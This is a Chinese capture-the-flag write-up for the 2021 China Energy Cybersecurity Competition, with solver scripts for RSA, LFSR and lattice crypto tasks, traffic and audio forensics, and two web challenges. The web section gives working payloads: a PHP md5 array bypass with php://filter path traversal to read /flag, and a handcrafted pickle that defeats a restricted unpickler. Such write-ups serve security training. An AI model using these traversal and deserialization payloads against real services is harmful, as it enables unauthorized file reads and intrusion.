2021年中国能源网络安全大赛

能源网络安全是国家实施能源安全战略的重要保障。在国家“碳达峰、碳中和”战略目标引领下,以新能源为主体的新型电力系统正加快建设,能源企业数字化转型加速发展,我国能源网络安全风险挑战仍将持续增大。为深入贯彻习近平总书记关于切实做好国家关键信息基础设施安全防护的重要指示精神,落实《关键信息基础设施安全保护条例》的有关要求,全面提升我国能源行业网络安全水平,加强能源网络安全人才培养与技术交流,加快构建“清洁低碳、安全高效”的能源体系,中国能源研究会定于2021年9~11月举办2021年中国能源网络安全大赛暨中国能源网络与数据安全大会。


CRYPTO

RSA

1
2
3
4
5
6
e1=835967807536519622934604405063
c1=19448632793065985668242563682199317331128016014251864412392395153156562893115782681369855239641432012330044885183775431340880864508525060098643116187637108122191428830624874050932679396567720373709957047168752779394888657259608530625932344667774681955326741127517701466048803352951916658946766088235132266647346283962586227793525978969088779182627558192227142187329292061143062946064902843366826489113664325053426251453100871248523117087970964024906746251860275872790437361291110328641349591771411040734747357045665591626240405636425026415496457159149035136648895848881873209825942855217824281430061391533815396720710
n1=31046255108437029118905717148957090183329402036332840118962561815659089322022943549665387220463210707021593218518105030590365349413133234315740524564946375831281241151522645514083464163544922980295642762649110433281286369663828432475929249392310436766745697134397285170617697641192886069854519440924834245392651292279051754654969060722850419325204713884858202922636556579391101638013190488822298434718076867399175291027281809145262948338325719474386917864777538133724445628651824987863715906880390487762744557151375265257554729150403617490110959353085963322495483098493865964611448790100520199013314219751750640119863
e2=885003184250422219085124964981
c2=4218572471345165732934998703714571105894271274075665866974516797649450984700474173358118625328090066638656820575859730131413953210153819184549819168514892245621740892736123987170805386681559030845204022985227261362626648144331552748679698050998013623282010514985589856239604197479795560729961306447338695058204615382433558388308701652353732815262119876165416607974763600968466766575623592583217035606726939874922507643990533020940476008390177733659865545258122624949624127261940887766555348528919909233817222490816887166626563144543878852122865972078511391354912133571091812293541668653349538816840275188432483945400
n2=31046255108437029118905717148957090183329402036332840118962561815659089322022943549665387220463210707021593218518105030590365349413133234315740524564946375831281241151522645514083464163544922980295642762649110433281286369663828432475929249392310436766745697134397285170617697641192886069854519440924834245392651292279051754654969060722850419325204713884858202922636556579391101638013190488822298434718076867399175291027281809145262948338325719474386917864777538133724445628651824987863715906880390487762744557151375265257554729150403617490110959353085963322495483098493865964611448790100520199013314219751750640119863

$n_1=n_2$,RSA共模攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import gmpy2 as gp
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

n = 31046255108437029118905717148957090183329402036332840118962561815659089322022943549665387220463210707021593218518105030590365349413133234315740524564946375831281241151522645514083464163544922980295642762649110433281286369663828432475929249392310436766745697134397285170617697641192886069854519440924834245392651292279051754654969060722850419325204713884858202922636556579391101638013190488822298434718076867399175291027281809145262948338325719474386917864777538133724445628651824987863715906880390487762744557151375265257554729150403617490110959353085963322495483098493865964611448790100520199013314219751750640119863
e1 = 835967807536519622934604405063
c1 = 19448632793065985668242563682199317331128016014251864412392395153156562893115782681369855239641432012330044885183775431340880864508525060098643116187637108122191428830624874050932679396567720373709957047168752779394888657259608530625932344667774681955326741127517701466048803352951916658946766088235132266647346283962586227793525978969088779182627558192227142187329292061143062946064902843366826489113664325053426251453100871248523117087970964024906746251860275872790437361291110328641349591771411040734747357045665591626240405636425026415496457159149035136648895848881873209825942855217824281430061391533815396720710
e2 = 885003184250422219085124964981
c2 = 4218572471345165732934998703714571105894271274075665866974516797649450984700474173358118625328090066638656820575859730131413953210153819184549819168514892245621740892736123987170805386681559030845204022985227261362626648144331552748679698050998013623282010514985589856239604197479795560729961306447338695058204615382433558388308701652353732815262119876165416607974763600968466766575623592583217035606726939874922507643990533020940476008390177733659865545258122624949624127261940887766555348528919909233817222490816887166626563144543878852122865972078511391354912133571091812293541668653349538816840275188432483945400
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = gp.invert(c1, n)
elif s2<0:
s2 = - s2
c2 = gp.invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:]))

#666c61677b36323462306666352d326436642d313165632d623438622d6463613930343938613264627d
#b'flag{624b0ff5-2d6d-11ec-b48b-dca90498a2db}'

FLAG: flag{624b0ff5-2d6d-11ec-b48b-dca90498a2db}

Base

31332b353d3f3f3f2d2d2d2d7a6d6a74706d3838757366677a6d797474736467746d65697a6c6c74787a6d657a61646a766d6f66757365677262776b7a77666a7a61796f7a646d75373d3d3d

先转hex得到 13+5=???----zmjtpm88usfgzmyttsdgtmeizlltxzmezadjvmofusegrbwkzwfjzayozdmu7===

zmjtpm88usfgzmyttsdgtmeizlltxzmezadjvmofusegrbwkzwfjzayozdmu7=== 根据无数字1和等号特征,猜测是转小写的base32;

转回大写,由前面提示 13+5,rot13+base32得到 fladå.Ù..Å.Í.Õ.Á.ÌÅ....Èå.ÈäÝ...Õ..Éþ 出现flag头;

由于 base32('flag{')=MZWGCZ33,数字为rot5,密文还原为 MZWGCZ33HFSTMZLGGFQTGZRVMYYGKMZRMNQWIZBSHFRTEOJXMJSWMNLBMQZH2===

base32 解码得 flag{9e6ef1a3f5f0e31cadd29c297bef5ad2}

FLAG: flag{9e6ef1a3f5f0e31cadd29c297bef5ad2}

Flow

杂七杂八密码的混合体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *

def lfsr(status,mask):
newbit = (status << 1) & (2**33-1)
i=(status&mask)&(2**33-1)
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
newbit^=lastbit
return (newbit,lastbit)

status=1
mask = 0b10110001110010011100100010110101

m = b"flag{*************}"
num = bytes_to_long(m)

p = getPrime(1024)
q = getPrime(1024)
n = p*q

e = 65537

binp = bin(p)[2:]

c = (pow(num, e, n))

f=open("enc2", "w+")
f.write(str(n)+"\n")
f.write(str(c)+"\n")
f.close()

f=open("enc","w+")
for i in range(760):
curnum = int(binp[i])
(status,out)=lfsr(status,mask)
f.write(chr(curnum ^ out))
f.close()

LFSR + RSA高位p泄露攻击。

先模拟LFSR求出760组 out 01值,结合enc文件中01密文,异或还原 $p$ 的高760二进制位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def lfsr(status,mask):
newbit = (status << 1) & (2**33-1)
i=(status&mask)&(2**33-1)
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
newbit^=lastbit
return (newbit,lastbit)


status = 1
mask = 0b10110001110010011100100010110101

c = list(bytes.fromhex('00000100000001010001010101010000000000010000010001010000010100000001000000000101010100010001000000000000010001000000010000000001010000000101000000000000000001000100010001000101010001010101010101000101000101000000010001010001000000000001010001010100010001000000000000010000010001000000000000000000000000010101000000010101000100010001000100010101010101010001010000000100000100000101000101010001010101000101000001010000010001000100000001000101010100010100010000000101000001000101000001000101000100010100000100000101000100000100000100000000010000010100010001010100010000000100000001000001010000000000000001010101000101010100010100010001010101000100010101000100010001010101010001010000000101010001000100000000000101000001010001000101000001000100010101010001000001010001010001010101010001000100010101000001000001000100010000000100000001010001010000000101010000010001000000010000010100000000010001000001010100010101010101000000010100010100010101000000010001010101010001010100000001010001000101000100000000000100010100000001010101000100010100010100010000000100010101000001000001010001000100010001010001000101010101000000000000010100000001000000000001010000010100000001000100000000000000000101010101000000000000010001000100010001000001000100000101000101000101010101010001000001000101000101000000010100000001010001000100010101000001000101010100010001010100010100010000000001000001010000000001010001000001010000010000000001000101000100010001010101010101000101010101000000000000000101010001010001010100010100000000000000000100010101'))
#print(c)

pp = ''
for i in range(760):
(status,out) = lfsr(status,mask)
pp += str(c[i]^out)

pp = int(pp, 2)
print(pp)

#6064523798049644277925701126806650606472211004362096137261922023539261533931159712229993784486900304494092698035668254711607734547323493716579247168129613825017402250081444943555723771998431425098683590600454956058175183022718975

利用coppersmith攻击方法,进行已知 $p$ 高位攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
n = 20929902170717676951934620006433003604730678640645007075637305655990838672444304031857412581445836654784941618387885677741424195646067710979291690749949226354601059943673546892769474380805413381477209725509187761202889007557157174009816759858206190915193870770303140668513899480840368042056977078850633645939996806974754076338446182094408033833859119883893893710390855924917625801146138452249766835457952331243832878453385608344187234621288871394907683956060567710199168220435234555727645472494418988488158424284566395402382371954247354264148359024995803494283148151292240772247688313806712633140618802681063347059301
p4 = 6020793003600505515657431119157212393365966944447518390323900168965824649782228689680274668164250924439790546808885513956693311045291390596152861670602514965058376230082977010070282487901715757886308848763512028412503942684262007
e = 65537
pbits = 1024
kbits = pbits - p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print("p = "+str(p))
print("q = "+str(n//p))

#p = 178473011392593598505298598344099528115548451492933270114904463603611584603267214985220850730034624404463453138131960336680355670323048351300133942965805079196071421536335378530449908306426271314462228131670026772855194671868525313446301101494560326641880067330258886334198095183772143790227948133817520438209
#q = 117272085047511228904591997419599628624189308881609369935452126803320898264759343424520375607941703744925707366699154133792983045245930090675456846087494137892328143697198606928970884892931890016115977464725544377659165461842270186367403846042556245975180328562734594014884754292825059517252004778580410644389

最后常规RSA解 $m$:

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
p = 178473011392593598505298598344099528115548451492933270114904463603611584603267214985220850730034624404463453138131960336680355670323048351300133942965805079196071421536335378530449908306426271314462228131670026772855194671868525313446301101494560326641880067330258886334198095183772143790227948133817520438209
q = 117272085047511228904591997419599628624189308881609369935452126803320898264759343424520375607941703744925707366699154133792983045245930090675456846087494137892328143697198606928970884892931890016115977464725544377659165461842270186367403846042556245975180328562734594014884754292825059517252004778580410644389
n = p * q
fn = (p-1) * (q-1)
e = 65537
c = 12381638589055841139447839302795029653843309313978198727914736718245700098003130043532117734105184556347388175236916768083364314767482249333410320774565764577094924964983543424785959666191716662886118558538365503080964047183533841342232120086245448689762948846598689811062301086591078119426971029385906936610191899748366808606594184238261341160458933596780268681004577561284530512291876043524269456261191856680575840859843145591670082313114482813697656520320677074240863479192424768989294287655231041605257414144367688426659163486702611196512549549115716697786311455783534600599360245502989232358699920442842821956230
d = gmpy2.invert(e, fn)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

#b'flag{th1s_ls_4_eZ_quEST1on}'

FLAG: flag{th1s_ls_4_eZ_quEST1on}

NumberGame

数字的游戏

1
2
3
4
5
e=65537
(p-1)*(q-1)=15743369066365201538689815141217340316571238013087670610561037355773525976258683589473338312326667266426637983360891507450086948913791067841805124377899989037485326133436719169246977060981737084689604571176180431464103979969894191079926052092838806338413905561857239072404009236751128582547515118141940600672935405990869984053032765764114050729270669601890847900632843688927485888918612911073502700067125045327489296133801029104137634700096205588495179191062622618039322093662364377472003903899926787818853067801269953347284657645644433840226628368651915623156258190141632506503179281547840336415021260912890513317032
c=13751833349374257546209411135285092025488474108950873335024549274321086737456294175321120539754112475192176856842163702158437261396059826784892899176923534179915888282864428402789707026830116675021571701648882970445289856088711084812757925707567230381940631064097247655097898810731114605714274641284534967275121251913986394408892187726203752249533094374744765243723455319272657285557501695073422223837888223589541537218910163081228251946239816318853757555291276404517545168694257378212616960758914005374587905274292014917325205163653897110709086078591016724234778570715311198272084303656971117931256882498414761066763
invert(p,q)=63567214271914333094632899333841375147292062018298573854142802911053572390920700513290025348818998146731407276513819782906243535938082361025317768375133584131695102997533625569063205757115454077033715745425720243515047860316309615090852448819151555625882308478246810599114349379924606314715907857949899701531
invert(q,p)=61854206698188431209560015384356189028981002413118973294450748821388080621667741484068895416821294105003859720045449073339567340407545907381482535347338180766054184558875014806879520058753821268699806496142714025634827191809185242495912563928024605815219672974396270176683304596115075405856328836048144151507

给出 $(p-1)(q-1),x=\text{inv}(p,q),y=\text{inv}(q,p),e,c$。

详细推导思路可参考 HITCON 2019 - Lost Modulus Again

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import gmpy2
from itertools import product
import binascii
from Crypto.Util.number import *

"""
alpha = p' * q' - l
beta = l^2 * [(e * d - 1) / s] + q' * l + p' * l - p' * q' - alpha - l^2
i.e.:
beta = l^2 * {[(e * d - 1) / s] - 1} + l * (q' + p') - alpha - p' * q'
if l,s are correct:
alpha = k * t
beta = k * (p' - l) + t * (q' - l)
i.e:
"""


def alpha_from_pprime_qprime_l(pprime, qprime, l):
return pprime*qprime - l

def beta_from_pprime_qprime_e_d_l_s_alpha(pprime, qprime, e, d, l, s, alpha):
temp1 = e*d - 1
assert temp1 % s == 0
temp2 = ((temp1 // s) - 1) * l * l
temp3 = temp2 + l * (pprime + qprime)
return temp3 - alpha - (pprime*qprime)

def k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alpha, beta):
a = pprime - l
b = -beta
c = alpha * (qprime - l)
disc = b * b - 4 * a * c
assert gmpy2.is_square(disc)
temp = -b + gmpy2.isqrt(disc)
assert temp % (2*a) == 0
k = temp // (2*a)
assert alpha % k == 0
return k, alpha // k

def brute_k_t_l(pprime, qprime, e, d):

# l, s = 2, 2

ss = [s for s in range(e - 100000, e + 1000000) if s!=0 and (e*d - 1) % s == 0]

for l, s in product(range(1, 5000), ss):
#print(f'l = {l}, s = {s}')
try:
alpha = alpha_from_pprime_qprime_l(pprime, qprime, l)
beta = beta_from_pprime_qprime_e_d_l_s_alpha(pprime, qprime, e, d, l, s, alpha)
k, t = k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alpha, beta)
return k, t, l

except AssertionError:
continue

if __name__ == "__main__":
e = 65537
fn = 15743369066365201538689815141217340316571238013087670610561037355773525976258683589473338312326667266426637983360891507450086948913791067841805124377899989037485326133436719169246977060981737084689604571176180431464103979969894191079926052092838806338413905561857239072404009236751128582547515118141940600672935405990869984053032765764114050729270669601890847900632843688927485888918612911073502700067125045327489296133801029104137634700096205588495179191062622618039322093662364377472003903899926787818853067801269953347284657645644433840226628368651915623156258190141632506503179281547840336415021260912890513317032
d = gmpy2.invert(e,fn)
pprime = 63567214271914333094632899333841375147292062018298573854142802911053572390920700513290025348818998146731407276513819782906243535938082361025317768375133584131695102997533625569063205757115454077033715745425720243515047860316309615090852448819151555625882308478246810599114349379924606314715907857949899701531
qprime = 61854206698188431209560015384356189028981002413118973294450748821388080621667741484068895416821294105003859720045449073339567340407545907381482535347338180766054184558875014806879520058753821268699806496142714025634827191809185242495912563928024605815219672974396270176683304596115075405856328836048144151507
k, t, l = brute_k_t_l(pprime, qprime, e, d)

lp, lq = qprime + k, pprime + t
assert lp % l == 0, lq % l == 0
p, q = lp // l, lq // l

assert gmpy2.invert(p, q) == pprime, gmpy2.invert(q, p) == qprime
assert gmpy2.is_prime(p), gmpy2.is_prime(q)
N = p*q

c = 13751833349374257546209411135285092025488474108950873335024549274321086737456294175321120539754112475192176856842163702158437261396059826784892899176923534179915888282864428402789707026830116675021571701648882970445289856088711084812757925707567230381940631064097247655097898810731114605714274641284534967275121251913986394408892187726203752249533094374744765243723455319272657285557501695073422223837888223589541537218910163081228251946239816318853757555291276404517545168694257378212616960758914005374587905274292014917325205163653897110709086078591016724234778570715311198272084303656971117931256882498414761066763
flag_decoded = pow(c, d, N)
print(long_to_bytes(flag_decoded))

#b'flag{dP_4nd_dQ_1s_4_exc1tlng_pr0bLEm}'

FLAG: flag{dP_4nd_dQ_1s_4_exc1tlng_pr0bLEm}

FillTheBlank

推公式?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2
import math

a = 16358502146569154805821117102055792126075384391997576813810358118942744612520734385485210209088310766263140599554175000067735671573064419087690267925715334913530155481001158890983091873663077846204509925514040559562873128373049378251801304882824014436351821387973582562165652240535121822439156888350175610414618000437008389187928342072924670546637964062394868004556705496699646429981923137500855492623070913023804420063661041841121617920375160117028363526191248710373415720637387593795136212298387121644166224488964182846517612830649792045421886212347661276446680662471149305906153415890365792363053111611744767732723
b = "**********"
d = 1004034638166310792730607806775703553124564601554345421260673
flag="flag{*************}".encode("utf-8")
m = bytes_to_long(flag)
z = "**********"

rb = gmpy2.invert(b, p) #p应为a
rd = gmpy2.invert(d, p) #p应为a

x = rb*rd
c = (m + z * rb * d % a)%a

assert(x==6315659043002030386732628047413448608037014021450055783529151485037069834363316696715574624507364755209361330204858147422873261866250183596759294051863367248800298182067900158706847792801508096127972864438349393635089442050383307416911012903769591812354414290225858817653700560363386018244490076357373032578412217266586094695255045411910123500620718125148007865650934761243821251725823364164494857358344030633984045814182753879152597382860304163779884435644346012876829684180445183686922253767338719485395107909704323571278192414797079570675523716981179479127876875936828316228191746093521584500893126198631718691478)
assert(c == 13596888613593355909989922489890598098147006404940300566769884949973269155719149670825677093684865700611084990815597885910353735947129944271345041538903031681298587672182524580124290627382140539264797169742520543929318842181890234622629255911624719400312152476306595541663238469772749767491911131691767357337344670678126067823905376191196367985379783363614691429132347967869598160549130755596368301366502209859435570988428790501722994265227987470237460083210385323943246674820772425514186206511159274330451656105100385024137631498256411854720506611702496670593426888793357086314109878603547497784715623917384308274129)
assert(log(d)/log(2)<=200)
assert(log(z)/log(2)<=1024)

推导:

由 $rb \equiv b^{-1} \pmod a$ 和 $rd \equiv d^{-1} \pmod a$ ,有 $rb \cdot b \cdot rd \cdot d = x \cdot b \cdot d \equiv 1 \pmod a$。

故求出 $b \equiv (x \cdot d)^{-1} \pmod a$,$rb \equiv b^{-1} \pmod a$。

又 $c = (m+z \cdot rb \cdot d) \bmod a$,构造格 $L=\begin{bmatrix} 1 & rb \cdot d \\ 0 & a \end{bmatrix}$,利用LLL算法求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
a = 16358502146569154805821117102055792126075384391997576813810358118942744612520734385485210209088310766263140599554175000067735671573064419087690267925715334913530155481001158890983091873663077846204509925514040559562873128373049378251801304882824014436351821387973582562165652240535121822439156888350175610414618000437008389187928342072924670546637964062394868004556705496699646429981923137500855492623070913023804420063661041841121617920375160117028363526191248710373415720637387593795136212298387121644166224488964182846517612830649792045421886212347661276446680662471149305906153415890365792363053111611744767732723
d = 1004034638166310792730607806775703553124564601554345421260673

x = 6315659043002030386732628047413448608037014021450055783529151485037069834363316696715574624507364755209361330204858147422873261866250183596759294051863367248800298182067900158706847792801508096127972864438349393635089442050383307416911012903769591812354414290225858817653700560363386018244490076357373032578412217266586094695255045411910123500620718125148007865650934761243821251725823364164494857358344030633984045814182753879152597382860304163779884435644346012876829684180445183686922253767338719485395107909704323571278192414797079570675523716981179479127876875936828316228191746093521584500893126198631718691478
c = 13596888613593355909989922489890598098147006404940300566769884949973269155719149670825677093684865700611084990815597885910353735947129944271345041538903031681298587672182524580124290627382140539264797169742520543929318842181890234622629255911624719400312152476306595541663238469772749767491911131691767357337344670678126067823905376191196367985379783363614691429132347967869598160549130755596368301366502209859435570988428790501722994265227987470237460083210385323943246674820772425514186206511159274330451656105100385024137631498256411854720506611702496670593426888793357086314109878603547497784715623917384308274129

import gmpy2

b = gmpy2.invert(x*d,a)
rb = gmpy2.invert(b,a)
rd = gmpy2.invert(d,a)
h = rb*d%a

p = a

v1 = vector(ZZ, [1, h])
v2 = vector(ZZ, [0, p])
m = matrix([v1,v2]);
f, g = m.LLL()[0]
f, g = -f, -g
#print(f, g)

a = f*c % p % g
m = a * inverse_mod(f, g) % g
print(bytes.fromhex(hex(m)[2:]))

#b'flag{we1c0mE_t0_cr4aK_mE!}'

FLAG: flag{we1c0mE_t0_cr4aK_mE!}

MISC

checkin

flag{W3Lc0m3_t0_2o2I_3n3rgy_contest}

签到。

FLAG: flag{W3Lc0m3_t0_2o2I_3n3rgy_contest}

hardwire_1

下载附件压缩包,分析文件,找到flag。提交flag格式:flag{xxxx}。

流量包文件,wireshark打开,追踪TCP流,发现菜刀连接流量特征。

解析流1中z2参数值,base64解码得:

cd /d "C:\php\htdocs"&winrar a -pf@l#ag102 key.rar key.jpg&echo [S]&cd&echo [E]

解析流3中z0参数值,base64解码转存得到Rar文件 key.rar

结合前面的解压密码 f@l#ag102,解压得到 flag.jpg。

FLAG: flag{579a4da9e3375c9b96add11cf2915eb5}

wava

Do you know what is wava?

附件move.zip无法打开,010editor查看为wav文件头,修改后缀,使用audacity打开未发现有用信息。

回到16进制下查看,发现在0x69处存在另一个wav文件头,删除前面的文件头保存,重新使用audacity打开,发现摩斯密码,手撸下来得到:

..-. .-.. .- --. ----- ....- -.. .---- -.. . -.... -.. -.... ...-- .- .- .---- -... ..... -... ..... ..... --... ...-- ..-. -.-. -.... . ----- ---.. . ...-- ----. -.... ..-. -----

解码得flag。

FLAG: flag{04d1de6d63aa1b5b5573fc6e08e396f0}

WEB

ezphp

想看二次元有很多障碍(flag在/flag)

点提交按钮出现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
if(!$_GET['site']){
?>
<html>
<body>
想看个二次元怎么这么难
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://bilibili.com/"/>
</form>
</body>
</html>
<?php
die();
}
show_source(__FILE__);

if (($_GET['user']===$_GET['password'])||(md5($_GET['user'])!=md5($_GET['password']))) die();

$url = $_GET['site'];
$path = $_GET['path'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/v/popular/all".$path;
$res = file_get_contents($request_url);


if (strstr($res,"flag")) die("you can't see my flag");

if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo $res;
}else{
echo "get source failed";
}

?>

第一层,PHP md5弱比较性质绕过:user[]=1&password[]=2

第二层,PHP伪协议拼接绕过关键词+目录穿越:site=php://filter/read=convert.base64-encode/resource=ss&path=/../../../../../../../../../flag

payload:

?submit=%E6%8F%90%E4%BA%A4&site=php://filter/read=convert.base64-encode/resource=ss&path=/../../../../../../../../../flag&user[]=1&password[]=2

得到ZmxhZ3tqWkV0NkNrRmNSOFNHbVBCTjJobDVvcjBYVzRUM251TX0K,base64解码得flag。

FLAG: flag{jZEt6CkFcR8SGmPBN2hl5or0XW4T3nuM}

EZpy

pickle反序列化

加参数 ?source=1 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import base64
import io
import sys
import pickle
import b

from flask import Flask, Response, render_template, request


app = Flask(__name__)

def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()

class people:
def __init__(self, name, sex, age):
self.name = name
self.sex = sex
self.age=age

def __repr__(self):
return f'people(name={self.name!r}, category={self.sex!r}, age={self.age!r})'
#==判断
def __eq__(self, other):
return type(other) is people and self.name == other.name and self.sex == other.sex and self.age==other.age


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def here_load(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/',methods=['GET','POST'])
def index():
if request.args.get('source'):
return Response(read(__file__),mimetype='text/plain')
else:
return Response("/?source=")

@app.route('/app', methods=['GET', 'POST'])
def inll():
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'no no no'
else:
result = here_load(base64.b64decode(pickle_data))
if type(result) is not people:
return '????'
correct = (result == people(b.name, b.sex, b.age))
if correct:
return Response(read('/flag.txt'))
except Exception as e:
return Response(str(e))

test = people('test', 'test','55')
pickle_data = base64.b64encode(pickle.dumps(test)).decode()
return Response(pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

限制中,改写了find_class函数,只能生成__main__模块的pickle,此外,禁止了b'R'

目标是覆盖 b 中的验证,由于 b 被主程序引入,是存在于__main__下的 b 模块中的,所以可以直接覆盖掉,此时就成功绕过了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import pickle
import base64

class people:
def __init__(self, name, sex, age):
self.name = name
self.sex = sex
self.age=age
def __repr__(self):
return f'people(name={self.name!r}, category={self.sex!r}, age={self.age!r})'
def __eq__(self, other):
return type(other) is people and self.name == other.name and self.sex == other.sex and self.age==other.age

#print(pickle.dumps(people('aaa','bbb','ccc')))

data=b'''c__main__
b
(S'name'
S"aaa"
S"sex"
S"bbb"
S"age"
S"ccc"
db0(S"aaa"
S"bbb"
S"ccc"
i__main__
people
.'''
print(base64.b64encode(data).decode())

#Y19fbWFpbl9fCmIKKFMnbmFtZScKUyJhYWEiClMic2V4IgpTImJiYiIKUyJhZ2UiClMiY2NjIgpkYjAoUyJhYWEiClMiYmJiIgpTImNjYyIKaV9fbWFpbl9fCnBlb3BsZQou

POST方式在 /app 路由传入参数 data,得到flag。

FLAG: flag{2Vl49keFDTMN3frBo6HOYw0djCGzIcPQ}